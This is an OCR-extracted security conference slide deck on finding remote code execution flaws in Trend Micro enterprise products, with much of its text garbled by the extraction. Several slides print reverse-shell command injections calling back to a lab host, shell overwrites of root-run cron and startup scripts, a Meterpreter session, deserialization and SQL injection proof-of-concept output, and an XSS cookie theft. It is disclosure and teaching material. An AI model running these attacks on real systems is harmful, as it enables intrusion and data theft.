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How we found over 166 200+ RCE vulnerabilities in
Frent Micro-software
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About Us
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= Roberto Suggi Liverani (@malerisch)

® Independent Secunty Researcher

. D|scovered critical vulnerabilities in vendors such as:
Mlcrosoft, Google, Oracle, Mozilla, HPE

= Guest speaker at HiTB, EUSecWest, Ruxcon, Kiwicon,
DEFCON and HackPra AIIStars

http://blog.malerisch.net
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https://twitter.com/malerisch
http://blog.malerisch.net/
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About Us

: Steven Seeley (@mr_me)

= AWAE Content Developer at Offensive Security

* Independent Security Researcher at Source Incite

— Focusing on high end desktop, enterprise and
SCADA vUInerabiIity discovery and exploitation

" Studles the CRCA Wlng Chun Martial Arts system
= Certified Scuba Diver and PersonaITralner

« http://srcincite.io/
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https://twitter.com/steventseeley
http://srcincite.io/

What This Presentation is NOT about!

= Dropping the zero-day we found !
= A debate on vulnerability disclosure

= Putting down Trend Micro. Many other vendors have just as many, if
not more vulnerabilities in their code

It's about:
= Sharing our failures, successes, approach to testing

= Helping other developers and security researchers

l);L\s”e’ curi ' o m



Motivation

b ¢ kOrprit_zOmb1ie ol
@korprit ollowing

/DI-16-348: Trend Micro InterScan Web

Security ManagePatches filename Remote ‘ i —r

Code Execution Vulnerability - A friendly message from Offensive Security  Security

ZDI-16-348: Trend Micro InterScan Web Security ManagePa...
Details of ZDI-16-348 and how it was discovered/exploited

Quentin Kaiser
, 2+ Follow
@QKaiser

Trend Micro SafeSync for Enterprise (SSFE)
Remote Code Execution Vulnerability -
success.trendmicro.com/solution/11151

(details: gkaiser.github.io/pentesting/tre ) - f.\
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Motivation

—— = - = - —— - — — - 2

= Trend Micro wants to secure their software

= They have a bug bounty

. They have a fon of recently acquired / developed security solutions

* Knowledge is readily available

= Many focusing on desktop Antivirus, not enterprise security solutions
- = Huge attack surface running privileged codé

= Finally, we couldn't resist...

);L"s“e' curi | - r\'\‘



Motivation
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- “If the security industry is
going to promote defense,
then they, themselves, 2
- should not be defenseless.”

)iks”e curi | -~ f\
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Targets

Smart Protection Server

Data Loss Prevention Manager

Control Manager

InterScan Web Security Virtual Appliance

Threat Discovery Appliance

- = Mebile Seeurity-forEnterprise (still zero-day)
= Safe Sync for Enterprise

! ! L A




Testing approach

- "How can we fully
- compromise this product
without user interaction?”

);L»s“e curi



Testing approach and methodology

e = : —_—

= Low hanging fruit and most critical vulnerability classes
- OS command injections and/or vulnerabilities that result in code execution
~ Weaknesses in frameworks
— "Authentication bypass

* Focus during vulnerability discovery phase:
— Reverse engineering of binaries and libraries
— Source code/scripts extraction and analysis
~ Discern third-party components from Trend Micro code

‘);L\s“e' curi
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Testing approach

* Malware analysis approach

- Study the binary, its behavior, components, communication
— Understand who starts communication first (agent or server?)
— Studying of the packets exchanged and the protocol format

— Mapping of each action to network traffic observed
via APl hooking

);L»s“e curi

Lenny Zeltse an
=  How you can n analyzing malware
Wh» medium.com by @mbromileyDFIR

Qutput path:

C:\Temp\Regshot Test| o

Malware Monday: Regshot
As much as Mondays are for discussing different types of malware, this day
can also be about malware analysis. For today’s post, 'm going

3 55

@ Roberto Suggi

very nice tool indeed, also useful to analyze
software behavior e.g. for bug hunting...
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Testing Approach

= Looking forfront-end(patterns : | THINK\I SEE

- POST /singlepointAPI.dll HTTP/1.1
Host: [target]
Content-Type: application/json
Connection: close

{"method name";"get_objeét","params":
{"name" . "test", "ObjeCtId" - "3" }}

AN\E?EEW(Fi;
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Testing Approach

= Automate patterns

- Search JavaScript for strings to build the (XHR) requests

— Write a custom web scanner that will perform the following actions:

B~ Woen R

);L‘s/ ecuri

Find all operations and their associated parameters in the JavaScript code
Build base requests :
Execute base requests and look for a specific status code and/or string

If interesting request, feed Burp web proxy and manually check presence of
vulnerability/behavior

If vulnerability found, re-use parameters and values across other identified attack
patterns

14



Testing Approach
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~ = Go behind the scenes |

- Using this approach, we found 8o+ exploitable
‘Remote Code Execution vulnerabilities in a single target

— Approach used against different Trend Micro targets
- However, not ALL operations can be found from the web
- Search the binaries for operations that are not triggered via the web application

UWNNENU S . ' ' P g Y
);securia A ;
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Testing Approach

E————

= —_— —————

= We found functions that to have been tested for
- security vulnerabilities

= strings *.exe | grep -v
A AR SRR SO RREREE AT . e GBS o
NN N R[0S A 2 B e VNN S
SeL L U - '

s Lrings o, dll T - greps =g
'@\I;\I#\»I&\I%\I\\$\|=\*|?\I(\I)\I'\I\"\I g
CERV L\ | FeE T A=Z BN EO T R s T e — 6

e T =)

Jleecuri ' . A e
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Testing Approach

T KNOWREGULAR J,f"'

EXFRESSIONS .

)iks ecuri | - ( >
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Success! |

progress 9.05% 8
[*] Command progress 35.59% done (35994/101148
[*] Command progress 41.52% done (41993/101148
[*] Command progress 47.45% done (47992/101148
[*] Command progress 53.38% done (53991/101148
[*] Command progress 59.31% done (59990/101148
[*] Command progress 65.24% done (65989/101148
B[] Command progress 71.17% done (71988/101148
[*] Command progress 77.10% done (77987/101148
[*] Command progress 83.03% done (83986/101148
[*] Command progress 88.96% done (89985/101148
[*] Command progress 94.89% done (95984/101148
[*] Command progress 100.00% done (101148/101148 bytes)
[+] Using kernel exploit getsystem (cheers @0J !)...
[*] Sending stage (957487 bytes) to 172.16.175.178
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.178:49188) at 2017-04-06 10:59:16 -0500

meterpreter > shell
Process 3816 created.

Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>f]

18



Pitfalls & difficulties

= Management
- Managing many reports/exploits/vulnerabilities was very tricky
= This was reduced since we could send these report’s off to ZDI to help us

— Found many duplicates between us
= Had to come out with a better system to share bugs!

= Software access
— Getting up-to-date versions was very hard
— Limited downloads

~ Trial license with 30 days duration for some products only
= Some functionality disabled due to lack of full license (e.g. Active Directory integration)

);L"s“e' curi | - r\'\‘
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Pitfalls & difficulties

= Mistakes and laziness

- Rushinginto a VUIn_erabiIity class without understanding the context of the
target :

- Not enabling all functionality
= Some bugs could only be triggered changing default state
— Ignoring third party components or external software
~ Not setting up an enterprise network (e.g. AD, Exchange server, etc. )

= Authentication Bypass

— A good number of discovered vulnerabilities still require authentication to
trigger ®

);L‘s/ ecuri
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Targets



Smart Protection Server

—_—



What is it?

— e ——— = e = - —— - —_— - s et

= Acts as a central data repository for internal network
- URL'and mail reputation data
- Complimentary with Office Scan
— Consumed by Trend Micro Office Scan clients running on workstations

= Smaller bandwidth consumption when updating patterns /
querying URL validity '

= Apache + PHP 5 on Windows

= How many vulnerabilities in this product?
— 3x0S Command Injection vulnerabilities (1x introduced with a patch!)
— 4x Privilege Escalation vulnerabilities

= Java codebase was actually quite strong

WHEETY s ... but... PHP had multiple vulnerabilities = /C\\\
)) securit ~
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Approach

We had no license... but we had access to patches !

So we performed a ghetto update install:
— Pop a shell using an old vulnerability . %
— Patch the install.sh to remove version detection and license checks
- Run install.sh on the command I|ne

)&?"é%“‘ﬁ’? 1

24



wcs_bwlists_handler Cmd Injection

— - : ——— : e D T s T

An exploitation walk trhrcv)ugh using a zero-day...

saturn:~ mr_me$ curl -k 'https://172.16.175.134:4343/php/
. php?sid=dd85456577438340& =; bash%20-1%20%3E%26%20%2Fdevs2Ftcp%s2F172.16.175. 1%2F4444%200%3E%261, ' -H
'Cookie: dd85456577438340=8s7ga6fi2mq94a48p4tbri6rp2’

saturn:~ mr_me$ nc -1lv 4444

bash: no job control in this shell

[webserv@localhost phpl$ id

uid=501(webserv) gid=501(webserv) groups=101(icrc),501(webserv)

[webserv@localhost phpl$ pwd
/var/www/AdminUI/php

);k‘swe‘é uriol

1.

echo "bash -i >& /dev/tcp/172.16.175.1/4444 0>&1" > /usr/tmcss/bin/ProgramUpdateNotify.sh
touch /var/tmcss/patch/__SendRebootNotify_

2.
echo "bash -i >& /dev/tcp/172.16.175.1/4444 0>&1" > /usr/tmcss/bin/ntpdate.sh

xkrebootxk 25



Elevation of Privileges -

S — < = ' ———

= Simple elevation of privilege vulnerabilities
- ntpdate.sh rc.local Elevation of Privileges
- Pro'gramU»pdateNotify.sh rc.local Elevation of Privileges
— "‘CDTPurge.sh crontab Elevation of Privileges

= Tlogger crontab Elevation of Privileges

= The /etc/rc.local script executes two webserv owned
& writable scripts -

* The crontab executes two webserv owned and writable scripts, once

a day and once an hour...

);k? ecuridl
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Elevation of Privileges -

- = - = S —— - = . —_— - — —— e — — -

In /etc/rc.local we see execution of two different files...

L I P S

touch /vai/WoCK/sutsys/local
/usr/tmcss/bin/ntpdate. sh
/sbins/sysctl—c 5 seic/sysctl.conf >/dev/null 2>&1
echo "1 7 1 7" > /proc/sys/kernel/printk
if [ -e "/var/tmcss/patch/__SendRebootNotify " ]; then rm —f /var/tmcss/patch/__SendRebootNotify _ ; /usr/tmcss/bin/ProgramUpdateNotify.sh
"ProgramRestart"; fi
if [ -e /dev/rtc@ ]; then
mv /dev/rtc /dev/rtc.bak
mv /dev/rtc@ /dev/rtc
fi

1s -la /usr/tmcss/bin/ProgramUpdateNotify.sh
—rwxr-xr-x 1 webserv webserv 13 Oct 6 17:40 /usr/tmcss/bin/ProgramUpdateNotify.sh

1s -la /usr/tmcss/bin/ntpdate.sh
—-rwxr-xr=x 1 webserv webserv 14 Oct 6 13:31 /usr/tmcss/bin/ntpdate.sh

ls -la /etc/rc.d/rc.weal — :
);k\ . -rwxr-xr-x 1 root root 585 Oct 4 18:56 /etc/rc.d/rc.local r\
securil: ‘
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Elevation of Privileges -

In the crontab we see the same thing...

bash-3.2# crontab -1

*/10 * x % % /usr/sbin/logrotate /etc/logrotate.d/lighttpd
@ * % * % /usr/tmcss/bin/tlogger

15 0 * % x /usr/tmcss/bin/CDTPurge.sh

bash-3.2# 1s -1a /usr/tmcss/bin/tlogger

—-rwxr=xr-=x 1 webserv webserv 43 Oct 7 10:26 /usr/tmcss/bin/tlogger
bash-3.2# 1s -la /usr/tmcss/bin/CDTPurge.sh

—-rwxr-xr-x 1 webserv webserv 43 Oct 7 10:23 /usr/tmcss/bin/CDTPurge.sh

# echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" > /usr/tmcss/bin/tlogger
# echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" > /usr/tmcss/bin/CDTPurge.sh

)5ks ecuril | V - r\‘\\
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Combining the vulnerabilities

. and we are root:

saturn:~ mr_me$ nc -lv 4444
bash: no job control in this shell
ba‘-'-h - n l.'ﬂ" j.u

uid=0(root) gid=0(root)

bas“__"" ")-H- Linama._ .~

Linux localhost.localdomain 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 EST 2012 x86_64 x86_64 x86_64 GNU/Linux
bash-3.2# pwd

/

bash-3.2# hostname

localhost. localdomain

bash-3.2# cat /usr/tmcss/bin/ProgramUpdateNotify.sh

bash -i >& /dev/tcp/172.16.175.1/4444 0>&1

bash-3.2#

) ' = T\
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Summary

—— = - = - —— - — — -

= Initial injection requires authentication!! ®

= Thetargetis also riddled with CSRF and XSS issues

— These issues have not yet been reported...

= Attackers cannot gain a root shell without client interaction
— That's not our style!

= No need to use an old kernel bug that could crash the kernel...

* Remember, this Command Injection vulnerability was introduced in
a security patch! |

‘);L‘s“e' curi | - r\
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Results

S — < - - ———

‘Hard to conclude, this is an on-going target

= We will address the authentication mechanism in the future!

Patch available: https://success.trendmicro.com/solution/i117033

Still, we achieved remote code execution and elevated privileges!

N bod d el AN AN
); securii
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https://success.trendmicro.com/solution/1117033

Data Loss Prevention .‘

End of Life (EOL)



What is it?

———— = - —

= Product to prevent IP theft and data loss within an organization

= Based on agent and network monitoring
- - Network inspection for different protocols
— Agent supports multiple file formats
— Policies based

= Previous security research was done by Kelly Lum and Zach Lanier

— Stay Out of the Kitchen
— The Kitchen's Finally Burned Down

- = They identified some of the attack surface that we audited and found'

vulnerabilities in!
- KeyView
— DLP client agent

);L‘s/ ecuri
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Under the hood

= Server : M) TREND. Data Loss Prevention
— Apache Tomcat with compiled CGl and a MySQL database e
- Web Server + Administrative web interface on port 8443

— Web Server (Tomcat) on port 8080 Log On |
= Used by DLP Crawler

Dscctrl daemon SSL/TCP/8904 and TCP/8804

= Used for agent communication (encrypted)

Client

— Custom protocol format for the DLP client agent

- Client-side uses KeyView, a third party component.
- KeyView parses approximately 200 file formats

-~ KeyView runs as SYSTEM - f\

);L»s“e curi
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How many vulnerabilities in this product?

S — < - - ———

= Statistics (DLP + KeyView):
- g2xvulnerabilities that lead to Remote Code Execution
= 26X triggerable without authentication and privileged
- 1x Authentication bypass
— ax DoS (Denial of Service)

= Let's discuss approach and the most interesting vulnerabilities
— dIpCrawlerServerinvoker Deserialization of Untrusted Data
— Unauthenticated Stored Cross Site Scripting |
- KeyView RTF fonttbl Tag Parsing Stack Buffer Overflow

35



Attack Surface =

[root@localhost binl#t netstat -ano | g;ep 8443

- tcp a A :::8443 HH LIST
H = EN off (8.88,8,/8)
u EXt ra Ct I O n Of We b {ruutl’!lnca]hust bin]l.t.l:letstat -anpo i grep 8443 e
cp a A :::8443 HHE S LIST
. : - EN 3654~ java of f (8.88-8-8)
re | ated fl |eS [root@localhost binl# ps aux | grep 3654
. dgate 3654 8.1 15.3 1311636 478832 7 51 Seple 55:51 rusr/javars jdkl.6.

B_22/bins java -Djava.util.logging.config.file=/homesdgatesprod/managerconf/logy
ing.properties -verbose:gc -Xmx1824m -X¥X:PermSize=128m -XX:MaxPermSize=128Bm -Dja

; /home/dgate/prod/manager‘/webapps/ va.util.logging.manager=org.apache. juli.ClassLoaderLogManager -Djava.endorsed.di

rs=/homesdgate/prod/manager/commonsendorsed -classpath :-shome-sdgate/prod-manager
/. .scommonscfyg: homesdgatesprod/manager/binsbootstrap. jar -Dcatalina.base=/home/

= d SC/W E B = I N F/C | a Sse S/ dgatesprod/manager -Dcatalina.home=/homersdgatesprod-manager -Djava.io.tmpdir=-ho

mesdgatesprodsmanager/temp org.apache.catalina.startup.Bootstrap start
root Y68Y B.8 B.8 3748 648 ttyl R+ 21:22 B:88 grep 3654

- /home/dgate/prod/manager/webapps/
dsc/WEB-INF/lib/

EH aop/interceptor
ctl

= Decompile all classes and libraries
— JAD [/ JD-Gui to decompile all classes

=
=
=
=
=
=
e
=
=
e
=
e
=
=
e
=

= Manually reviewing
the source code
JJLi=1Use of an IDE to map the code S

);..{ecuri;




Attack Surface

Mapping attack surface

Identify different type of client software

- Noticed the Crawler agent software available
for download

Agent software is a separate package
— Mapping use of third parties
— Noticed use of keyview (more on this later)

Mapping all external ports to processes

tep 0 0
EN 3654,

4
‘; sec ‘u r“i tcp 0 0 :::8080
EN 3654 /7java
N o

0 :::8443

tcp

[root@localhost 1libl# netstat —anop
ccfEEff:127.0.0.1:-8005 I F

Crawler Management allows you to scan for confidential data stored on desktop:
company's network. Use this page to manage or deploy the Remote Crawler age

r* _-JEIG'.fu'rlload Remote Crawler

'aFiIter L'l'f Delete

Host = IP Address

'EiFiIter [‘ﬂ Delete "Jl::lo'.fu'rlload Remote Crawler

Opening RemoteCrawlerAgentSetUp.msi

You have chosen to open:

i RemoteCrawlerAgentSetUp.msi

which is: Windows Installer Package
from: https://192.168.1.250:8443

grep 3654/java

off (0.00/0/0) Save File

off (0.00/0/0)

37



dlpCrawlerServerInvoker Deserialization of
UnTrusTed Da’ra

‘);L\s“e' curi

= Analysis

— The bug lies in the way the DLP Crawler agent works and communicates to the
A DLP server

" The DLP Crawler agents uses a specific port to pass data to the DLP
server ‘

- Port 8080
— The protocol used is HTTP with Java serialized objects



dlpCrawlerServerInvoker Deserialization of
Untrusted Data ﬁ |

Example of communication between the DLP Crawler agent and DLP Server

Wireshark - Follow TCP Stream (tcp.stream eq 14) - remotecrawleragent IE

POST /dsc/invoker/dlpCrawlerServerInvoker HTTP/1.1
i pt-Encoding: gzip

User-Agent: Jakarta Commons-HttpClient/3.1

Host: 192.168.64.10:808@

Content-Length: 1197

Content-Type: application/x-java-serialized-object

.5org.springframework.remoting. support.RemoteInvocation 1.

[ argumentst..[Ljava/lang/0Object;L.
attrlbutE5t .Ljava/util/Map;L.
methodNamet. Liawaﬁlan ’Qtring;[..paramPtPrTvpest [Liawaflangfcla:"xpur
[Ljava.lang.0 .X..5) X .Fcom.dgatetech.c .
agentInfot. ILcom,dﬂatetech;common;craulprfcommunlcatlon;aplfrPqUE5trCraulerAnentInf0 L rPnnptiont.GLcomfdgatetechfcammonﬁcFawlerf
communication/api/reques ’RPﬂlhtPertlon .>com.dgatetech.comm 1.ctau1er communication.api.request.Request.B...8\
[...D..apiVerL..GUIDg.~..L..reqTypeq.-~ t.#AB5479C4-CR4E
FC27D2C8-66EFESADT. . regsr.Gecom. dﬂatetech common . crawler. communlcatlon api.request.CrawlerfAgentInfo.<..t..W...L.
crawlerverq.~..L..hostipq.~..L..hostnameq.~..L.
localPathst. L1awafut1 ;L. . rg.~..L. ownerGUIDg.~..xpt..5
192.168.64.131t. .WIN- %TIHWCUHDG java.util.Arraylistx.....a....
xt. Windows Vista Service Pack 1 6.
~r.Ecom.dgatetech.common.crawler.communication.api.request.RegisterOp
stur..[Ljava.lang.Class; i X rq.~..HTTP/1.1 208 0K
Server: Apache-Coyote/1.1
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dlpCrawlerServerInvoker Deserialization of
Untrusted Data

—— = - = = - —— o — — -

= By looking at the HTTP POST request we notice important elements:
- - Lack of authentication mechanism
| - No challenge/nonce token required by the server
— The communication is in clear-text

* Presence of Java-to-Java remoting
— Javaserialized objects are passed within the HTTP POST request

‘);L‘s“e' curi | - r\
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dlpCrawlerServerInvoker Deserialization of
UnTrusTed Da’ra

The dsc/invoker/dIpCrawlerServerlnvoker is handled by the following code in
com/dgatetech/common/crawler/sigagent/RemoteCrawlerAgent.java

i)

Ifb = new ()
fb. (IDLECrawlerRemote.class) ;
fb. ( + srvaddr + ) -
fb. ((org. .remoting.httpinvoker. HttpInvoke:
fb. ()
IDLECrawlerRemote remote = (IDLPCrawlerRemote) fb. (),

RequestSender. setHttpInvokerService (remote) ;

regTypeToRegClassMap = JApplicationContextHelper.getdApplicationContext () .
EequestFactory. setRequestTypeToRequestClassMap (reqTypeToReqgClassMap) ;
ets

uid(this.GUID) ; ’ \\\

™

RequestFactory. s

41



dlpCrawIer'Server'Invoker Deserialization of
Un’rrus’red Da’ra

CAWindows\system32\crmd.exe - poc.py 17216175123 172.16.175.244:1234

Cistm—java—deserialization?poc.py 1Y2.16.175.123 172.16.175.244:1234

C+) shell uploaded?

C+) starting handler...

C+) starting handler on port 1234

C+> connection from 17Y2.16.175.123

¢+ pop thy shell?

id

%iﬂ=ﬂiguut} gid=A{root? groups=HAC{rootr.1<Chin>.2{daemon>,3(zys2 . 4Cadm? . 6(dizk> .18
vhee

uname —a
Linux localhost.localdomain 2.6.18-922_.e15 #1 SMP Tue Jun 18 18:49:47 EDT 28HU8 ib6

86 1686 1386 GHU/Linux

U U O ‘ 2 . . = / )
)§ securit | ~ C\
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Unauthenticated Stored Cross Site Scripting

= Analysis
- Encrypted communication defeated using APl Monitor against bcrypt.dll and
ncrypt.dll libraries
- Lack of authentication between agent and server
- Lack of input validation and output escaping on the DLP portal

= Attacker simulates a registering agent with an arbltrary XSS payload in its
"computername" field

— XSS payload is stored and rendered in two areas of the DLP administrative
interface: -

= /dsc/pages/administration/endpointmanagement/endpointsPortal.do
= /dsc/pages/dataProtection/accessControl/preListAccessControl.do

l);L\s”e’ curi ' o m

43



[H FLI LI

oo n

o T T T e O e T e T v T T e Y
I T

(29

m 0 o

[1=9

12
a0
a0

T4
65
E13
E13
3c
a7
Sc

0
=

4f
63

Unauthenticated Stored Cross Site Scripting

Sc

W= () W<FQD
NUTEE\>N\ (M)

<ackBRemoteSi
gRepoReady’\ >
Y (false') <o
harset\>% (IS5
0-8859-1%) <
computerlame

Lo o0 | [a}] 3] I T o

-

Time of Day

SI27:27.842 .
52027920 ..
5:27:27.920 ..
52727982 ..
5:27:28.044 .,
5:27:28.000 ..
5:27:28.107 ..
52728122 ..,

- .

Thre...

44
42
44
44
44
42
44

N ] | sb
Module

schannel.DLL S5
schannel.DLL
schannel.DLL

schannel.

schannel.DLL 55

API

il .
R Iﬂ N T LN

schannel.DLL SslEncryy

____________

-----------

e

Type
MCRYPT_PR...
MCRYPT_KEY...

Name

4

v’

'

hSsIProvider

Pre-Call Value
2038568

.5 Post-Call Value

2038568

hKey

0x001e8e48

0x001e8e48

DWORD

/

v’

cblnput

570

570

PBYTE
DWORD
DWORD*
ULONGLONG

(4] | o (%3] .

=

v

’

pbOutput
cbOutput
pcbResult

SequenceMumber

0x00208e00
595

0x0590804 = 0
1

0x00209e00 = 23

595




Unauthenticated Stored Cross Site Scripting

A https://172.16.175.123:8443/dsc/pages/homePage.do

Data Loss Prevention

Agent Management

+ Data Protection Agent Management allows the user to browse and edit agents or groups.

& Reports ‘ Agents .| Group
+ Logs
: EFilter [ Delete 172.16.175.123:8443 says:

+ Update
2 testcookie=enabled;
Agents IP Address JSESSIONID=4B483E08AE40402D165124E9DAFBEEG6

+ Server Configuration . . . .
rver 'gurat Prevent this page from creating additional dialogs.

'aFilter ﬂ Delete
+ Agent Configuration

Crawler Management “

Data Management

Agent Management

~ Password




Unauthenticated Stored Cross Site Scripting

In EndpointMgthistAc‘tion.jévé, here, the epjsonArray.put() function:

The getLihkedUrI() function builds the HTML code which will bé

if (ep.getEndpointType () .getCode ()

E————

epjsonArray.put (getImg (

el ce {

epjsonArray.put (getImg (

¥

embedded in JSON format:

);kswé“é"]i Tit

private String getLinkedUrl (String content,
{
String sortEPIndex = regquest.getParameter (
String sortEPOrder = request.getParameter (
String param = + id +
String urllLink =
return urlLink:

String url,

) ;
) ;

== EndpointType.AGENT)

—

{

, getLinkedUrl (ep.getEr

, getLinkedUrl (ep.getEnc

+ pageNumber +

String id, int pagelh .

+ url
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Unauthenticated Stored Cross Site Scripting

et = - — - —

= How was it discovered?
— After analyzing and decrypting traffic between agent and server

* By examining data following these principles:
— Can data be controlled?
— Is data changed by the application before rendering?
— Are there filters, size limits or any preventing condition?
— Is data rendered in an HTML context?
- |s data directly or indirectly rendered?

‘);L\s“e' curi

e ———— == = e
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KeyView

= KeyView is a third party component
= Used by many DLP solutions
L De\)eloped by Autonomy — now owned by HPE

* |ts main role is to parse, index and convert files
— Large support of file formats (more than 200) |

* DLP Remote Crawler Agent also uses KeyView component
- C:\Program Files\Trend Micro\DLP Remote Crawler Agent\dll\kvfilter.dll

‘);L\s“e' curi

=— —— e S ey —?——-’2-15-—-—:—,?—*‘;—5‘ = e
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KeyView ~

C:\Windows\System32\dgagent>filter.exe

* Finding a way to easily interact with KeyView: Lo Porcr-exe opcian) npure autputril

[-i] get doc summary info
[-¢] do not create a separate process for filtering

[-e] run filtering in stream-based mode
o HOW dO We knOW that fllter-exe Uses KGYV|eW? [-h] add headers/gooters
[-d] get the format information for a file
e o - [-k] create a separate process for detection
= Reverse engineered and spotted a dynamic DLL load of kvfilter.dll [-1] do not create » separate process for detection
N [-mt] Enable memory management in Kuvoop
: [-mtN] Disable memory management in Kvoop
a = A [-L] Enable Log in Kuoop
- Ana|y5|5 Of kaIlter.d” [-LN] Disable Log in Kuvoop
[-AF] Add input file name to Kuoop Log
[-rm] Include revision marks
[-sh] Include hidden text from Word
[-ne] No comments from Word
[-x xmlconfigfile] Specify the configuration file for XML reade
[-z tmpdir] Specify a directory where temp files are created

; int _ cdecl sub_48138@{char =Source, FILE *File, char =*Filename, int}
sub_481388 proc near

hLibModule= dword ptr -426h i
Dst= byte ptr -41Ch ; int _ cdecl sub_481FDB{char =Source)

Dest= byte ptr -406h sub_4B81FDB proc near JDump of file kufilter.dll
Source= dword ptr 4
File= duord ptr §& Dest= byte ptr —184h File Type: DLL

Source= dword ptr 4

Filename= dword ptr 6Ch
arg_GC= dword ptr 18h

esp, 420h eax, [esp+Source] Section contains the following exports for kufilter.dll

ebx esp, ‘84h
ebp 8cx, [esp+184h+Dest] 00000000 characteristics

oop. [esprazhesource] eax ; Source 4ABSE1D6 time date stamp Tue Sep 22 16:40:22 2009

edi EE“ i Dest 0.00 version

eax, [esp+4306h+Dest] strocpy 26 ordinal base

ebp ; Source edx, [esp+18Ch+Dest] 59 number of functions

eax . ; offset a_dll ; .dll”

edi, edi adx : Dest 59 number of names
strcat

offeet Source esp, 16h ordinal hint RUA name

BCx e eax, [esp+104h+Dest]

streat : eax . ; 1pLibFileName 29 0 0000TO10 KUAutoRecStream

e e e g;;L“jghﬁ""a"y“ 30 1 00007350 KUCanFilterStreanm

sub_u481FD@ ’ 31 2 00007360 KUCanFilterStreamEx

esp, 14h . 32 3 00007370 KUCanUiewStream

P o nLiptiodutel, eax sub_A01FDE endp 33 4 00007CTO KUCloseStream

short loc_4013F6 34 5 0000TA20 KUFilterStream 49



KeyView

e = - p——

= So the fuzzing approach can be as the following:

— Command line: “filter.exe <fuzzedfile> C:\temp\junk.txt”
- = The junk.txt file will be created by the application

= Obtain a valid corpus of sample files
— ldeally these are traced and reduced
~ 1t doesn't matter if we only obtain a few samples, the target code is old

nicto—ftuzz () . while 13

— Hundreds of vulnerabilities discovered
» Focused only few highly exploitable conditions
— Some of which affect the latest version and are still zero-day

);L‘s/ ecuri
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RTF fonttbl Tag Parsing Stack Buffer
Overflow ‘

= Analysis
— RTF parsing library. (rtfsr.dll) vulnerable to stack buffer overflow

= Caused due to incorrect placement of the { tag to close off one of the
fonts within the font table

o loc_7CBC83:
= Faultisin: lea eax, [esp+124h+String?]
- , mou [esp+edi+124h+String2], @
— rtfsrirtfFillBuffer+ox8734 (loc_7CBC83) push  eax ; char =
¥ : : call sub_7CEBCH
— The function calls a strcpy() — this results in 5P ecx, [esp+128h+String?]
an overflow of the stack frames lea edx, [esp+i28h+uar_40]
push eCX s SKcC
push edx ;: Dest
call strcpy : Buffer Overflouw?
mou eax, [esi+3BEL4h]
add esp, HCh
- ' add eax, BFFFFFFFEQh
)iLs scurl movy [esi+3BE4h], eax

jmp short loc 7CBCEY




RTF fonttbl Tag Parsing Stack Buffer
Overflow ‘

et = —— = —

Corrupted Stack frames suck when trying to perform a RCA

00 1opl=0 nv up 21 pl nz na pe nc

e==0023 f==003b g==0000 efl=0001020¢&

iChildEBF RetAddr
WARNING: Frame IFP not in any known module. Following frames may be wrong.

f?=eb ele?essl lebelea Oxesfledel

|:_I'| w0

);ksecuri




RTF fonttbl Tag Parsing Stack Buffer
Overflow ‘

= A crafted, embedded font allows instruction control
* |deal situation for exploitation

» An attacker can modify a return address and take
control of the software code execution flow

LA 1 4141

19 9 O Ca | Ie d ot 'iljle.l:l.E!.lj_Z L acuuy F7adfoon
ModTload: 7 : d000
: 1000

OO0
1000

T I

)iks ecuri ‘be cufeted '
V'S .2 ! I =016a004c 1 e=z1=016c0048

nv up 21 pl nz na pe nc

) g==0001 efl=0CC10206




RTF fonttbl Tag Parsing Stack Buffer
Overflow '

— - : ——— : e D T s T

= Exploitation is made easier because the kvfilter.dll was not compiled
~ with ASLR or SafeSEH support or Stack Cookies!

« These gadgets can be used to exit from the function and then hit the
controlled code -

* Compromise the client and then target the server!

* The vector can be a drive by downloéd, such as Chrome

l);L\s”e’ curi ' o m
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KeyView - RTF fonttbl Tag Parsing Stack

Buffer Overflow

= We created a simple PoC that

pops a calc

= DLP policy is often set to scan
files/folders, such as the
downloads folder upon
filesystem modification

| Caleulator
View Edit Help

2| calc.exe:5620 Properties

- o] x|
GPU Graph | Threads | TCP/IF | Security | Environment | Strings |
Image | Performance | Performance Graph |  Disk and Metwork |

Image File

] ] e ]
P e

]
Y

-':'u alc. exe E:1:|:-|-:-rr:

N P, filter: C:iwusersstestsDesktopsrtfucalc.rtf to
Parent: =Han-exlsis QLESS ~2934y filter: error code returned iz KUERR_General

User: .
el C:sMWindowssSystem32sdgagent >
Started:

Comment:

Data Execution Prevention (DEF) Status: DEP {permanent) &

Address Space Load Randomization: Enabled
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Control Manager
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What is it?

—— = - = = - —— - — — -

= This is the heart of all Trénd Micro products

- Central management console that manages Trend Micro products
= Gateway, Mail server, File server, corporate desktop levels, etc.

= 1IS, PHP, ASP and Compiled CGI

= Remote code execution means low privileged access due to IIS default
settings .

= How many vulnerabilities in this product?

— 4ax code execution brought via SQLi
= 14x of which do not require authentication
— 8x Information disclosures

= Leveraged information disclosure for authentication bypass o r\.\‘

);L\’s“e' curi
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Motivation

Other vulnerabilities had been discovered previously

Trend Micro Control Manager task_controller Information Disclosure
Vulnerability

ZDI-16-462: August 9th, 2016 Credit

This vulnerability was discovered by:

rgod

- Where there are a few, there are probably mahy

Will present on few SQL injection and an information disclosure one!

);Lsecuri
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ProgressReportC6I SQL Injection

E——

= Unauthenticated, blind SQL Injection

= Allows an attacker to steal password hashes

* No need to crack the hashes, there is a pass the hash vulnerability as

well

* Weak database service permissions, . only running as
NETWORKSERVICE

. Single authentication bypass for the ASP Interface

* Disclosed as ZDl-17-074

l);L‘s”e’ curi
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ProgressReportC6I SQL Injection

———— = — ————— s — = e

saturn:trend_micro_control_manager_ProgressReportCGI_sqgli mr_me$ ./sqli.py 172.16.175.13

Trend Micro Control Manager <= 6.5 (patch 3328) SQL Injection Vulnerability
found & developed by mr_me 2016

(+) target is vuln, proceeding
(+) stealing admin username & hash...

(!') admin:0192023a7bbd73250516f069df18b500

(+) logging in with the stolen username & hash...

(+) success, we have generated a valid session!

(+) generated an authenticated ASP_NET_Sessionld cookie: plfvau45g5abns451mvleg45
saturn:trend_micro_control_manager_ProgressReportCGI_sqgli mr_me$

...now that we have a valid session

,J'W;s ecurdi | - ”-\*‘
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AdHocQuery_Processor SQL Injection

Regquest

-y

J Raw ‘ Params | Headers

GET

/webapp/AdBocQuery/ =-1","'2" ;EXEC+sp_configure+' show+ad
